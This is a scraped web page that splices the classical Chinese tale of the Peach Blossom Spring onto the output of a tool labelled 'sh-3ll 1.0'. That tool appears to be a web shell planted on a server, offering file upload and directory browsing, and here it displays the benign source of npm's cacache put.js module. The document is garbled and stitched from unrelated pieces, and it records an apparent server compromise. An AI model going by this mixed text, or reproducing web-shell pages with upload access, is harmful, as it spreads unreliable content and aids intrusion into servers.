晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/lib/node_modules/npm/node_modules/cacache/
Upload File :
Current File : //lib/node_modules/npm/node_modules/cacache/put.js
'use strict'

const figgyPudding = require('figgy-pudding')
const index = require('./lib/entry-index')
const memo = require('./lib/memoization')
const write = require('./lib/content/write')
const to = require('mississippi').to

const PutOpts = figgyPudding({
  algorithms: {
    default: ['sha512']
  },
  integrity: {},
  memoize: {},
  metadata: {},
  pickAlgorithm: {},
  size: {},
  tmpPrefix: {},
  single: {},
  sep: {},
  error: {},
  strict: {}
})

module.exports = putData
function putData (cache, key, data, opts) {
  opts = PutOpts(opts)
  return write(cache, data, opts).then(res => {
    return index.insert(
      cache, key, res.integrity, opts.concat({ size: res.size })
    ).then(entry => {
      if (opts.memoize) {
        memo.put(cache, entry, data, opts)
      }
      return res.integrity
    })
  })
}

module.exports.stream = putStream
function putStream (cache, key, opts) {
  opts = PutOpts(opts)
  let integrity
  let size
  const contentStream = write.stream(
    cache, opts
  ).on('integrity', int => {
    integrity = int
  }).on('size', s => {
    size = s
  })
  let memoData
  let memoTotal = 0
  const stream = to((chunk, enc, cb) => {
    contentStream.write(chunk, enc, () => {
      if (opts.memoize) {
        if (!memoData) { memoData = [] }
        memoData.push(chunk)
        memoTotal += chunk.length
      }
      cb()
    })
  }, cb => {
    contentStream.end(() => {
      index.insert(cache, key, integrity, opts.concat({ size })).then(entry => {
        if (opts.memoize) {
          memo.put(cache, entry, Buffer.concat(memoData, memoTotal), opts)
        }
        stream.emit('integrity', integrity)
        cb()
      })
    })
  })
  let erred = false
  stream.once('error', err => {
    if (erred) { return }
    erred = true
    contentStream.emit('error', err)
  })
  contentStream.once('error', err => {
    if (erred) { return }
    erred = true
    stream.emit('error', err)
  })
  return stream
}